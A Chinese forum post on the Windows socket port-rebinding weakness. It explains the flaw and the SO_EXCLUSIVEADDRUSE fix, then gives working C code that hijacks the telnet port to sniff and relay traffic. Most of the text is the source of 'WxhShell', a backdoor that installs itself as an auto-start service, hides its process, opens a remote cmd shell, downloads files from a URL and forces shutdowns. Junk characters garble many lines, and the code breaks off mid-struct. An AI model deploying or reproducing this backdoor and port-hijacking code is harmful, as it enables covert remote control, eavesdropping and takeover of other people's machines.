在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
NR;q`Xe- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
EW
~*@H Y=5!QLV4 saddr.sin_family = AF_INET;
;:AG2zE! /
c+, saddr.sin_addr.s_addr = htonl(INADDR_ANY);
N{ : [/ #:]vUQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
yQ<6p3 _2]e1_= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
hm*Th 2~#ZO?jE6 这意味着什么?意味着可以进行如下的攻击:
]&&I|K_ 8o! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)WaX2uDA? _u#/u2< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Qe7"Z <dq,y> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$/4Wod*l h |s*i 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
R'vdk< 3js)niT9u 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
bs:C1j\& )EhTM-1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
"g
x5XW& gcX5Q^`a= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
yfPCGCOW? p3V9ikyy #include
A28ZSL #include
@uQ%o%Ru6 #include
r$b:1 C~ #include
!JT<(I2 DWORD WINAPI ClientThread(LPVOID lpParam);
gUksO!7^1 int main()
R g%R/p)C {
hp?ad WORD wVersionRequested;
&i4
(s%z# DWORD ret;
rE/}hHU WSADATA wsaData;
=@bXGMsV! BOOL val;
Q{%HW4lg SOCKADDR_IN saddr;
Q.j-C}a SOCKADDR_IN scaddr;
3m-edpH int err;
1h#w"4 SOCKET s;
I'KR'1z 9 SOCKET sc;
R=2
gtW"r int caddsize;
#]?,gwvTf HANDLE mt;
o%kSR ]V| DWORD tid;
ZkJY.H-F wVersionRequested = MAKEWORD( 2, 2 );
&>d:ewM\ err = WSAStartup( wVersionRequested, &wsaData );
$=\oJ-(!@S if ( err != 0 ) {
@qg0u#k5 printf("error!WSAStartup failed!\n");
~0VwF return -1;
I>N-95 }
*D,v>( saddr.sin_family = AF_INET;
[,\'V0 E&RoaY0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[VfLv.8w *T.={>HE8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
RM?_15m saddr.sin_port = htons(23);
rnzsfr-|(2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,gAr|x7_ {
jK ? printf("error!socket failed!\n");
+~R.7NE% return -1;
=2ATqb"$w }
kcg)_]~6 val = TRUE;
Wh#_9); //SO_REUSEADDR选项就是可以实现端口重绑定的
y>)mSl@1y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
w3>Y7vxiz` {
,gFL Wb`B' printf("error!setsockopt failed!\n");
HB/
_O22 return -1;
&%_y6}xIw }
"Qiq/"h //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
#Pe\Z/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
kphy7>Km //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Z'*G'/* M]8eW if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|-SI(Khjk {
jzu l{'g ret=GetLastError();
z1}tC\9'% printf("error!bind failed!\n");
fzGZ :L return -1;
!5g)3St }
4wM$5 listen(s,2);
6Dr$*9 while(1)
_js2^<7v} {
MkluK=$ caddsize = sizeof(scaddr);
_umO)]Si //接受连接请求
2vk8+LA(6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
d'**wh, if(sc!=INVALID_SOCKET)
h0y\,iWXb {
S`'uUvAA mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ggxrj'r if(mt==NULL)
%8z+R m,Ot {
37ri b printf("Thread Creat Failed!\n");
8V53+]c$Y break;
skmDsZzw
}
P /f ~ }
h!JjN$ CloseHandle(mt);
E|8s2t }
I'6ed`| closesocket(s);
\nWzn4f WSACleanup();
hg86#jq% return 0;
|Ls&~'ik }
8WLh]MD` DWORD WINAPI ClientThread(LPVOID lpParam)
^<5^9]x {
\fQgiX SOCKET ss = (SOCKET)lpParam;
%n V@'3EI SOCKET sc;
r* unsigned char buf[4096];
)Or:wFSMq SOCKADDR_IN saddr;
Qbe{/ long num;
onS{ DWORD val;
'Rar>oU DWORD ret;
QdG?"Bdt2 //如果是隐藏端口应用的话,可以在此处加一些判断
|L~gNC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.q;RNCUt saddr.sin_family = AF_INET;
5p>]zij> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
XTn{1[.O saddr.sin_port = htons(23);
9iN!hy[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
jrMGc=KL {
1<Ztk;$A printf("error!socket failed!\n");
@_tA"E return -1;
C Ol%P }
d+$[EDix val = 100;
e\bF_
N2VA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|RbUmuj {
N[?4yV2s ret = GetLastError();
^!s}2GcS` return -1;
w|U@jr*H] }
B'#gs'fl if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
neMe<jr {
eB1eUK> ret = GetLastError();
P$#}-15?|_ return -1;
?2bE=| }
]V[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
E(K$|k_> {
0a;FX0S& printf("error!socket connect failed!\n");
l#(g&x6J closesocket(sc);
OKNs (H closesocket(ss);
0BU:(o& return -1;
qm&53 }
^O\1v while(1)
[>QsMUvak {
(fjXp75 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
j?` D\LZhf //如果是嗅探内容的话,可以再此处进行内容分析和记录
.dq.F#2B; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
UqQZ
A0e num = recv(ss,buf,4096,0);
TbUkqABm if(num>0)
SEn8t"n send(sc,buf,num,0);
KHC(MdZ else if(num==0)
}&^bR)= break;
jYx( num = recv(sc,buf,4096,0);
`qEm5+` if(num>0)
yL,B\YCf8 send(ss,buf,num,0);
1Vvx@1 else if(num==0)
Q|r1. break;
TuR?r`P% }
FC.-u"V closesocket(ss);
SQvB)NOw closesocket(sc);
EnAw8Gm* return 0 ;
qWK7K%-$E }
TUCpmj 2o}FB\4^i 2(x KE_| ==========================================================
5,fzB~$TX( b .@dUuKz- 下边附上一个代码,,WXhSHELL
K~N[^pF H*<dte< ==========================================================
U}TQXYAg J~6*d,Ry` #include "stdafx.h"
{[iQRYD0| @K>Pw arl #include <stdio.h>
ioQlC4Y #include <string.h>
G*V
7*KC #include <windows.h>
NsK >UJ' #include <winsock2.h>
nr6U>
KR^ #include <winsvc.h>
eHIC'b. #include <urlmon.h>
<<6#Uz.1 WJ,ON-v #pragma comment (lib, "Ws2_32.lib")
=,9'O/br #pragma comment (lib, "urlmon.lib")
nQMN2j M S}yb~uc, #define MAX_USER 100 // 最大客户端连接数
o?\Pw9Y #define BUF_SOCK 200 // sock buffer
l^Z~^.{y #define KEY_BUFF 255 // 输入 buffer
oDK\v8w- 7qp|Msf}, #define REBOOT 0 // 重启
)f|6=x4 #define SHUTDOWN 1 // 关机
< ,n4|z) VNfx>&` #define DEF_PORT 5000 // 监听端口
h{9pr jR:Fih-} #define REG_LEN 16 // 注册表键长度
(CwaOm{g #define SVC_LEN 80 // NT服务名长度
SJe;T 4\iQ%fb // 从dll定义API
;bmd<1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Ml
^Tb# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
4(]('[M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
s)=7tHoqB) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
^4i3 #}
WR%iUO40 // wxhshell配置信息
|'#NDFI>} struct WSCFG {
/i<g>*82 int ws_port; // 监听端口
oUqNA|l
T char ws_passstr[REG_LEN]; // 口令
Je'$V%{E int ws_autoins; // 安装标记, 1=yes 0=no
px*MOHq K char ws_regname[REG_LEN]; // 注册表键名
1/ a,7Hl char ws_svcname[REG_LEN]; // 服务名
o7 kGZ char ws_svcdisp[SVC_LEN]; // 服务显示名
t9kgACo/M char ws_svcdesc[SVC_LEN]; // 服务描述信息
JGtdbD?Fw char ws_passmsg[SVC_LEN]; // 密码输入提示信息
c~V\,lcI int ws_downexe; // 下载执行标记, 1=yes 0=no
pd|s7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
>\e11OU0Gy char ws_filenam[SVC_LEN]; // 下载后保存的文件名
?^hC|IR$ bvoR?D\-" };
SF6n06UZu mVxS[Gq // default Wxhshell configuration
rO C~U85 struct WSCFG wscfg={DEF_PORT,
~[C m#c "xuhuanlingzhe",
[W2k#-%G 1,
\oi=fu=}* "Wxhshell",
;RR)C@n1 "Wxhshell",
6|zA,-= "WxhShell Service",
_jtBU "Wrsky Windows CmdShell Service",
milU,!7J "Please Input Your Password: ",
TPrwC~\B/ 1,
NTV0DkX "
http://www.wrsky.com/wxhshell.exe",
I*X|pRD "Wxhshell.exe"
A >e%rx };
4 1Ru@ N-^\e)ln // 消息定义模块
qZ4DO*%b3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H)5]K9D char *msg_ws_prompt="\n\r? for help\n\r#>";
@=$;^}JS| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
VL\6U05Z char *msg_ws_ext="\n\rExit.";
|2mEowAd char *msg_ws_end="\n\rQuit.";
BM3nZ<%3 char *msg_ws_boot="\n\rReboot...";
9N9;EY-U char *msg_ws_poff="\n\rShutdown...";
k]v a char *msg_ws_down="\n\rSave to ";
NK#f Gz*,( k?_Miqr char *msg_ws_err="\n\rErr!";
hE>Mo$Q( char *msg_ws_ok="\n\rOK!";
|[*b[O
1W GSk;~^l char ExeFile[MAX_PATH];
-G{}8GM int nUser = 0;
#{0c01JZ HANDLE handles[MAX_USER];
RJ0w3T]7 int OsIsNt;
wqw$6"~ 5@i/4%S SERVICE_STATUS serviceStatus;
%zWtPxAf SERVICE_STATUS_HANDLE hServiceStatusHandle;
rwU[dqBRhc 3o z] // 函数声明
(`T:b1 int Install(void);
8tsW^y;S int Uninstall(void);
F77~156 int DownloadFile(char *sURL, SOCKET wsh);
<h(tW int Boot(int flag);
(|S e+Y#e, void HideProc(void);
y$!~</=b int GetOsVer(void);
Nl1&na)K} int Wxhshell(SOCKET wsl);
P!:D2zSH_ void TalkWithClient(void *cs);
=>4,/g3 int CmdShell(SOCKET sock);
'peFT[1>( int StartFromService(void);
Yk:\oM int StartWxhshell(LPSTR lpCmdLine);
4\t9(_ daaurT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
p 5P<3( VOID WINAPI NTServiceHandler( DWORD fdwControl );
Z(Xu>ap [&e}@!8O` // 数据结构和表定义
S/8xo@vct] SERVICE_TABLE_ENTRY DispatchTable[] =
gg933TLu(Q {
xmbkn}@A {wscfg.ws_svcname, NTServiceMain},
Tc{r}y[) {NULL, NULL}
}y'KS:Jb };
@zE_fL CB|Z~_Bm // 自我安装
gVA$P int Install(void)
KN5.2pp {
{eS!cZJ char svExeFile[MAX_PATH];
oveW )~4 HKEY key;
7GpSWM6 strcpy(svExeFile,ExeFile);
8hdd1lVKO8 Wa
, # // 如果是win9x系统,修改注册表设为自启动
9[/Gd{`XC if(!OsIsNt) {
H"m^u6Cmy- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B|#"dhT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^*RmT RegCloseKey(key);
q_JES4ofx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y8(g8RN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
dKhDO`.s RegCloseKey(key);
Y!}BmRLh2 return 0;
{R\ "x| }
aabnlOVw }
bq]af.o* }
R:-^,/1 else {
0Bb amU N_h)L` // 如果是NT以上系统,安装为系统服务
2UA h^i-^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
flnoK%wi if (schSCManager!=0)
V9][a {
//g~1( SC_HANDLE schService = CreateService
Vc}m_T]O (
CKyX Z schSCManager,
`G,\=c~{A wscfg.ws_svcname,
y~jTI[kS wscfg.ws_svcdisp,
L=?Yc*vg SERVICE_ALL_ACCESS,
}m(u oT~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&*r YY\I SERVICE_AUTO_START,
&?v^xAr?B SERVICE_ERROR_NORMAL,
+!CG'qyN> svExeFile,
c[f NULL,
^|(F|Z NULL,
XzkC ]e' NULL,
slXk < NULL,
u+kXJ NULL
a8Nl'
f*0 );
eE+zL~CE if (schService!=0)
4cl}ouG {
]&jXD=a" CloseServiceHandle(schService);
|s+y]3-_ CloseServiceHandle(schSCManager);
C&D!TR!K strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
RKx"
}<#+ strcat(svExeFile,wscfg.ws_svcname);
YOd0dKe if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Yc&yv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9ssTG4Sa RegCloseKey(key);
">j}!n
8J return 0;
<%Bsb}h, }
9Y3_.qa(. }
c\065#f! CloseServiceHandle(schSCManager);
>iDV8y }
`a*[@a# }
$b
QD{ { N[~RWg return 1;
)\8l6Gw }
/z.Y<xOc bODCC5yL // 自我卸载
g/)mbL>= int Uninstall(void)
fq48>"g* {
o+r?N5 HKEY key;
r8A g:7S/L0] if(!OsIsNt) {
<-D>^p9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OTY9Q RegDeleteValue(key,wscfg.ws_regname);
Usx8
U RegCloseKey(key);
>,yE;zuw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tt$DWmm RegDeleteValue(key,wscfg.ws_regname);
9@9(zUS| RegCloseKey(key);
!?,7Cu.5#6 return 0;
|@`F!bnLr }
d,tGW }
C4Z}WBS( }
9nN$%(EO5; else {
_0Qp[l-
2v\,sHw+- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
`q@5d&d`j if (schSCManager!=0)
0z1m!tr {
~oWCTj- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;'~U5Po8 if (schService!=0)
0K<y
} {
mnh>gl!l if(DeleteService(schService)!=0) {
;x^WPYEj CloseServiceHandle(schService);
.jA'BF. CloseServiceHandle(schSCManager);
WhQK3hnm return 0;
^cs:S-s }
bFD
vCF CloseServiceHandle(schService);
@ qy
n[C }
SaceIV%( CloseServiceHandle(schSCManager);
V3r1|{Z( }
lI~T>Lel2 }
ZfsM($|a 7}>Zq`]~ return 1;
j}t"M|` }
33IJbg -}#=L@ // 从指定url下载文件
Jh`Pq,B: int DownloadFile(char *sURL, SOCKET wsh)
dCc"Qr[k {
}tJRBb HRESULT hr;
BPs|qb- char seps[]= "/";
Hz~?"ts@; char *token;
R!{^qHb char *file;
Hj(ay48 char myURL[MAX_PATH];
gCfAy=-,V char myFILE[MAX_PATH];
J< Ljg<t+ PIOG|E strcpy(myURL,sURL);
Bu_/yKW token=strtok(myURL,seps);
mWEaUi)Zz while(token!=NULL)
OD{()E?1B {
t7#lRp& file=token;
-7-r~zmr token=strtok(NULL,seps);
Xf
0)i }
K!~j}z* tV.qdy/]} GetCurrentDirectory(MAX_PATH,myFILE);
@>:V? strcat(myFILE, "\\");
C.]\ 4e strcat(myFILE, file);
b^s978qn# send(wsh,myFILE,strlen(myFILE),0);
q~:H>;:G- send(wsh,"...",3,0);
OeMI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
}SD*@w if(hr==S_OK)
: ;l9to return 0;
)T0%<(J else
U)v){g3w) return 1;
M$J{clr &BOq%*+ }
WzinEo{f mH`K~8pRg // 系统电源模块
Q'
b@5o int Boot(int flag)
G.{)#cR {
<b.O^_zQF HANDLE hToken;
wmV7g7t6 TOKEN_PRIVILEGES tkp;
OKo)p`BX ^+J3E4 if(OsIsNt) {
WNnB
s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
sOVbz2\yb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
WMi$ATq tkp.PrivilegeCount = 1;
t/$:g9V%FA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!#[B#DZc( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6 Mc&gnN if(flag==REBOOT) {
Uf,fd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%VH{bpS|i: return 0;
WY& [%r }
!+EE*-c1c else {
UwtL vd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
N\{{:<Cp\ return 0;
c3__=$)'kP }
[`n)2}
k }
-bP_jIZF;g else {
O~*`YsL9 if(flag==REBOOT) {
b[/uSwvi if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
c0U=Hj@@ return 0;
Bj`ZH~T }
3;%dn\
D else {
7Zw.mM!i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
S_ER^Pkg return 0;
4\Q
pS }
w,x'FZD }
Vh}F#~BrI B:]%Iu| return 1;
nj4G8/U-q }
yx\I&\i zgn~UC6& // win9x进程隐藏模块
Dt~ |)L+ void HideProc(void)
@%b&(x^UD {
(:r80: %~rXJrK HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
MJ_]N+ if ( hKernel != NULL )
xH4Qv[k
Q7 {
aovw'O\Q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
L ]Y6/Q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(x!Tb2mlk FreeLibrary(hKernel);
;r3Xh)k; }
<$@*'i^7Ez YIn
H8Ex return;
vPce6 Cl* }
kn9e7OO## xgq
`l# // 获取操作系统版本
n6C]JWG\/U int GetOsVer(void)
_%gu<Ys {
^~DDl$NH OSVERSIONINFO winfo;
#`o]{UfW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
I3hN7 GetVersionEx(&winfo);
cVf}8qf) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
DFM~jlH return 1;
(N^tg8 Z< else
6d{&1-@> return 0;
(iJ9ekB }
AD>X'J
u8 zI{~;`tzN // 客户端句柄模块
vE{L `,\q int Wxhshell(SOCKET wsl)
PC)aVr?@@ {
c`O(||UZT SOCKET wsh;
(T|q]29 struct sockaddr_in client;
COc
t d DWORD myID;
d1BE;9*/7 ^_ST#fFS while(nUser<MAX_USER)
FNR<=M {
; S~ int nSize=sizeof(client);
oY<R[NYKu wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
'`sZo1x%f if(wsh==INVALID_SOCKET) return 1;
<HB@j}qi k1E(SXcW9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
EPiZe- if(handles[nUser]==0)
jt`\n1q) closesocket(wsh);
_%]x-yH!@ else
@;t6Slc"~ nUser++;
.C\## }
vhd +A WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\(`8ng]vs eufGU)M return 0;
g:eqB&& }
^\Epz*cL e1/{bX5 // 关闭 socket
AU4K$hC^ void CloseIt(SOCKET wsh)
t.pn07$ {
yvIzgwN%s! closesocket(wsh);
P$#{a2 nUser--;
SX]uIkw ExitThread(0);
5j~1%~,# }
,X}Jpi;/ b Od<x
>@ // 客户端请求句柄
FH)_L1n void TalkWithClient(void *cs)
>K n7A {
_lMSW6 D~b_nFD SOCKET wsh=(SOCKET)cs;
;Q>+#5H6F8 char pwd[SVC_LEN];
czg9tG8 char cmd[KEY_BUFF];
zVvL! char chr[1];
*ry}T= int i,j;
-gB9476- :r4o:@N' while (nUser < MAX_USER) {
-]Y@_T.C 3eERY[ if(wscfg.ws_passstr) {
`6xr:s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<7
xX/Z}M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kp3%"i&hD //ZeroMemory(pwd,KEY_BUFF);
'h87A-\!F i=0;
VRB!u420 while(i<SVC_LEN) {
@! {Y9k2 %R^*MUTx // 设置超时
+3[8EM#g fd_set FdRead;
He*c=^8k struct timeval TimeOut;
<Uc?#;%Y} FD_ZERO(&FdRead);
Tfp^h~&u FD_SET(wsh,&FdRead);
#Q1}h TimeOut.tv_sec=8;
):lH TimeOut.tv_usec=0;
26ae|2?
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l i)
5o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
F%IvgXt5 fj97_Q= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
1) Nj.#) pwd
=chr[0]; L*FQ`:lZ
if(chr[0]==0xd || chr[0]==0xa) { X/ lmj_v
pwd=0; tID=I0D
break; .'PS L
} eX'U d%
i++;
]$i@^3`[w
} ^Lv)){t
apgR[=Oy
// 如果是非法用户,关闭 socket d_7hh
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IictX"3lh
} N/78Ub
k~*%Z!V}C
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .Ta (v3om%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mXs.@u/
IU;a$
while(1) { \V#fl
oA?EJ ~%
ZeroMemory(cmd,KEY_BUFF); #z+?t
{zalfw{+
// 自动支持客户端 telnet标准 '
eh }t
j=0; Y @Ur}
while(j<KEY_BUFF) { e}+Zj'5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K3k{q90
cmd[j]=chr[0]; h [@}}6
if(chr[0]==0xa || chr[0]==0xd) { m/3,;P.6
cmd[j]=0; #$
4g&8
break; sa TS8p z
} ERy=lP~gV
j++; zGNmc7
} K /$-H#;N
<$u\PJF7_^
// 下载文件 !/e*v>3u&
if(strstr(cmd,"http://")) { [1nUq!uTm
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mc&Fj1h5
if(DownloadFile(cmd,wsh)) J7Mbv2D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dNf:I,<DCf
else )|/%]@` N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g`C\pdX"B
} V8#NXUg<!
else { 8S7#tb@3
K#Zv>x!to
switch(cmd[0]) { ]iMqIh"
U;j\FE^+>
// 帮助 OA^6l#
case '?': { Y?$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'Y.6sB
break; m(D+!I9
} Y]tbwOle
// 安装 S=j
pn
case 'i': { JT&RaFX
if(Install()) _+X-D9j(l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _u]%K-_
else CeeAw_*@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ef:H&r
break; ^HxIy;EQ<z
} I1Otu~%d
// 卸载 yfal'DqKF
case 'r': { *E]:VZl
if(Uninstall()) `FEa(Q+s
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
[8~P
Pc^
else %lD+57=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); txvo7?Y*4
break; O4Q"2
} `?O0)
// 显示 wxhshell 所在路径 jtUqrJFlQ
case 'p': { &isKU8n
char svExeFile[MAX_PATH]; AvPPsN0
strcpy(svExeFile,"\n\r"); OJd/#KFm
strcat(svExeFile,ExeFile); U(LLIyZv
send(wsh,svExeFile,strlen(svExeFile),0); ujzfy
break; :yRv:`r3Lt
} 2$ &B@\WY
// 重启 QIg'js$W
case 'b': { C T\@>!'f
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oEX^U4/=
if(Boot(REBOOT)) 91]sO%3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k<5g
else { >ZW|wpO
closesocket(wsh); B%tWi
ExitThread(0); i4]oE&G
} j8nkNE]&
break; Lx tgf2r
} @mmnr?_w
// 关机 lB0`|UEb (
case 'd': { 0)M8Tm0$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R8_I ASs
if(Boot(SHUTDOWN)) i(_A;TT6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8NiR3*1
else { \h_q]
closesocket(wsh); h[&"KA
ExitThread(0); I~:gi@OVV
} u88wSe<\X
break; !?v_.
} !LzA
// 获取shell 78Du
case 's': { 6T4I,XrY_F
CmdShell(wsh); bK.*v4RG
closesocket(wsh); WN<g _8QR
ExitThread(0); s*s~yH6
break; Q@7d:v
} Bp3E)l
// 退出 <N1wET-
case 'x': { B]@25
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yIrJaS-
CloseIt(wsh); Zk`yd8C
break; 'E+"N'M|
} bMGn&6QiP[
// 离开 y)U?.@
case 'q': { #c5jCy}n
send(wsh,msg_ws_end,strlen(msg_ws_end),0); N+h05`
closesocket(wsh); l?=\9y
WSACleanup(); jj1\oyQ8
exit(1); 7@
)
break; OQ7 `n<I<)
} m3TR}=n
} 8AX_y3$
} :nQlS
]"lB!O~
// 提示信息 7jgj;%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LP=j/qf|
} d 8DU[p
} ](A2,F
9(U
Y}1c>5{bE
return; s4~[GO6>
} Vv45w#w;
+.Ij%S[Px5
// shell模块句柄 ])o{!}QUl\
int CmdShell(SOCKET sock) Sk E <V0
{ sl `jovT[Y
STARTUPINFO si; IQRuqp KL
ZeroMemory(&si,sizeof(si)); ?%h$deJ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 68Gywk3]=u
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BtZ]~S}v
PROCESS_INFORMATION ProcessInfo; C/IF~<B
char cmdline[]="cmd"; D]]wJQU2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
&cSVOsi
return 0; Ic9L@2m
} +yp:douERi
:-B+W9'5
// 自身启动模式 d=PX}o^
int StartFromService(void) N+=|WeZ
{ 80Dn!9j*
typedef struct RqtBz3v
{ l! F$V;R
DWORD ExitStatus; BVw2skOT
DWORD PebBaseAddress; RZzHlZ
DWORD AffinityMask; n7cy[%yT
DWORD BasePriority; ch8a
ULONG UniqueProcessId; =FrB{Eu
ULONG InheritedFromUniqueProcessId; Gv_~@MN
